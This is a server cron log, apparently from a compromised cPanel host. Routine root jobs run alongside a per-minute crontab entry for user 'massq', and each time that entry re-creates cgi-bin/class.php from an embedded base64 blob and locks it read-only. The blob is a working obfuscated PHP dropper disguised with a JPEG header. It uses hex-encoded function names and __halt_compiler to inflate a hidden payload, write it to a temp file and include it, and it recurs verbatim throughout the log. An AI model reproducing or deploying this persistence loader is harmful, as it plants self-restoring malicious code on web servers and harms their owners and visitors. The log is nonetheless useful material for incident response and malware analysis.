Nov 12 12:57:01 server CROND[30570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:57:01 server CROND[30571]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:58:01 server CROND[31642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:59:01 server CROND[32462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:00:01 server CROND[920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 13:00:01 server CROND[921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:00:01 server CROND[922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:00:01 server CROND[923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:01:01 server CROND[1886]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 13:01:01 server CROND[1887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:01:01 server run-parts(/etc/cron.hourly)[1886]: starting 0anacron
Nov 12 13:01:01 server run-parts(/etc/cron.hourly)[1899]: finished 0anacron
Nov 12 13:02:01 server CROND[2753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:03:01 server CROND[3668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:04:01 server CROND[4482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:05:02 server CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 13:05:02 server CROND[5227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:05:02 server CROND[5229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:05:02 server CROND[5230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:06:01 server CROND[6143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:07:01 server CROND[6965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:08:01 server CROND[7864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:09:01 server CROND[8749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:09:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:10:01 server CROND[9652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:10:01 server CROND[9654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:10:01 server CROND[9653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
